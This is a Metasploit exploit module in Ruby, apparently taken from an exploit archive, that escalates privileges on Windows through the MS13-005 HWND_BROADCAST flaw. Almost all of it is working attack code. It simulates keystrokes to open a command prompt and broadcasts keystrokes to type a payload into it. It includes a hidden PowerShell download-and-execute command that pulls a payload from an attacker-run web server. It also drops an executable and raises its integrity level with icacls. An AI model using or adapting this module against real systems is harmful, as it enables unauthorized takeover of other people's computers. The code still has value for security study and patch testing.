MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation Exploit

:
05.08.2013
:
MS13-005
:
:
Microsoft Windows

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Post::File

def initialize(info={})
super( update_info( info,
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
'Description' => %q{
The Windows kernel does not properly isolate broadcast messages from low integrity
applications from medium or high integrity applications. This allows commands to be
broadcasted to an open medium or high integrity command prompts allowing escalation
of privileges. We can spawn a medium integrity command prompt, after spawning a low
integrity command prompt, by using the Win+Shift+# combination to specify the
position of the command prompt on the taskbar. We can then broadcast our command
and hope that the user is away and doesn't corrupt it by interacting with the UI.
Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2,
Server 2012, RT. But Spawning a command prompt with the shortcut key does not work
in Vista so you will have to check if the user is already running a command prompt
and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded
payload from a Web location. The FILE technique will drop an executable to the
file system, set it to medium integrity and execute it. The TYPE technique will
attempt to execute a powershell encoded payload directly from the command line but
it may take some time to complete.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery
'Axel Souchet', # @0vercl0k POC
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate'=> "Nov 27 2012",
'References' =>
[
[ 'CVE', '2013-0008' ],
[ 'MSB', 'MS13-005' ],
[ 'OSVDB', '88966'],
[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
]
))

register_options(
[
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
], self.class
)

end

def low_integrity_level?
tmp_dir = expand_path("%USERPROFILE%")
cd(tmp_dir)
new_dir = "#{rand_text_alpha(5)}"
begin
session.shell_command_token("mkdir #{new_dir}")
rescue
return true
end

if directory?(new_dir)
session.shell_command_token("rmdir #{new_dir}")
return false
else
return true
end
end

def win_shift(number)
vk = 0x30 + number
bscan = 0x81 + number
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
end

def count_cmd_procs
count = 0
client.sys.process.each_process do |proc|
if proc['name'] == 'cmd.exe'
count += 1
end
end

vprint_status("Cmd prompt count: #{count}")
return count
end

def cleanup
if datastore['SPAWN_PROMPT'] and @hwin
vprint_status("Rehiding window...")
client.railgun.user32.ShowWindow(@hwin, 0)
end
super
end

def exploit
# First of all check if the session is running on Low Integrity Level.
# If it isn't doesn't worth continue
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?

# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
# integrity process can write.
drop_to_fs = false
if datastore['TECHNIQUE'] == 'FILE'
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
begin
tmp_dir = expand_path("%TEMP%")
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
cd(tmp_dir)
print_status("Trying to drop payload to #{tmp_dir}...")
if write_file(payload_file, generate_payload_exe)
print_good("Payload dropped successfully, exploiting...")
drop_to_fs = true
register_file_for_cleanup(payload_file)
payload_path = tmp_dir
else
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
drop_to_fs = false
end
rescue ::Rex::Post::Meterpreter::RequestError
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
drop_to_fs = false
end
end

if drop_to_fs
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
make_it(command)
elsif datastore['TECHNIQUE'] == 'TYPE'
if datastore['CUSTOM_COMMAND']
command = datastore['CUSTOM_COMMAND']
else
print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload")
command = cmd_psh_payload(payload.encoded)
end
make_it(command)
else
super
end
end

def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
make_it(command)
end

def make_it(command)
if datastore['SPAWN_PROMPT']
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
if @hwin == nil
@hwin = client.railgun.user32.GetForegroundWindow()['return']
end
client.railgun.user32.ShowWindow(@hwin, 0)
client.railgun.user32.ShowWindow(@hwin, 5)

# Spawn low integrity cmd.exe
print_status("Spawning Low Integrity Cmd Prompt")
windir = client.fs.file.expand_path("%windir%")
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid

count = count_cmd_procs
spawned = false
print_status("Bruteforcing Taskbar Position")
9.downto(1) do |number|
vprint_status("Attempting Win+Shift+#{number}")
win_shift(number)
sleep(1)

if count_cmd_procs > count
print_good("Spawned Medium Integrity Cmd Prompt")
spawned = true
break
end
end

client.sys.process.kill(li_cmd_pid)

fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned
end

print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
command.each_char do |c|
print c if command.length < 200
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
end
print_line
print_status("Executing command...")
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
end

def on_request_uri(cli, request)
print_status("Delivering Payload")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
end

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